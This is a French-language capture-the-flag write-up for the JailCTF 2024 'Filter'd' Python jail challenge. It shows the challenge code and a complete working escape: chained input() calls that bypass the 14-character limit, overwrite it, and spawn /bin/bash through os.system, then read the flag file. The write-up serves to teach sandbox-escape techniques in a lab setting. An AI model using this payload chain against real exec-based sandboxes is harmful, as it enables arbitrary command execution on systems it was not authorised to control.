MisTrale Write UpMisTrale Write Up
Buy me a coffee ☕
  • English
  • Français
GitHub
Buy me a coffee ☕
  • English
  • Français
GitHub
    • 🏁 Introduction
    • 🌟 Remerciements
  • 💀 Root-Me 20k

    • 💀 Root Me - 20k
    • ❤️ Bash - Love Me
    • 🛑 Python - Not This Way
    • 📚 NodeJs - Never Trust Node One
  • ⛓️ JailCTF-2024

    • 👮 JailCTF - 2024
    • 🔠 !Alphabeat
    • 🧑‍🦯 Blind Calc
    • 🎉 Parity 1
    • 🎈 Parity 2
    • 🪄 Pickle Magic
    • ☎️ Get and Call
    • ⁉️ No Sense
    • 🟩 Filter'd
    • 🧐 SUS Calculator
  • 🕹️ TCP1P

    • 🎮 Another Discord
  • 🧮 GCC-2024

    • 😅 soBusy
  • 🌛 Midnight

    • 🌃 Midnight
    • ✨ Privesc - 1
    • 🔑 Privesc - 2
    • 👑 Privesc - 3
    • 🎭 My Face

🟩 Filter'd

👀 Avant de commencer

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

📖 Énoncé du challenge

#!/usr/local/bin/python3

M = 14 # no malicious code could ever be executed since this limit is so low, right?
def f(code):
    assert len(code) <= M
    assert all(ord(c) < 128 for c in code)
    assert all(q not in code for q in ["exec", "eval", "breakpoint", "help", "license", "exit", "quit"])
    exec(code, globals())

f(input("> "))

🚩 Avoir le flag

Une fois que nous arrivons sur cette jaill on va simplement énumérer ce que nous devons absolument faire:

  • On ne peut pas utiliser les mots-clés exec, eval, breakpoint, help, license, exit, quit.
  • On ne peut pas utiliser de caractères non-ASCII.
  • Notre payload doit faire <= à 14 caractères.
  • Nos somme dans un exec avec un scope globals().

Pour le moment tout est parfait ! Je vois complètement comment faire. Nous allons une première fois essayer d'auto appeler la fonction f.

> a=input();f(a) 
b=input();f(b)
M=1000;f(a)
__import__('os').system('/bin/bash')
ls -la
total 16
drwxr-xr-x 1 nobody nogroup 4096 Jul  1 04:46 .
drwxr-xr-x 1 nobody nogroup 4096 Jul  1 04:46 ..
-r--r--r-- 1 nobody nogroup   46 Jul  1 04:39 flag.txt
-rwxr-xr-x 1 nobody nogroup  342 Jul  1 04:45 run
cat flag.txt
jail{can_you_repeat_that_for_me?_aacb7144d2c}

Merci Exec ❤️

Heuresement que nous avons un exec car cela nous permet de définir des variables et de les utiliser dans notre code. Sans cela, nous n'aurions pas pu obtenir le flag.

Et voilà, nous avons notre flag. C'est aussi simple que ça.

💖 Support

👀 Avant de quitter

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

Prev
⁉️ No Sense
Next
🧐 SUS Calculator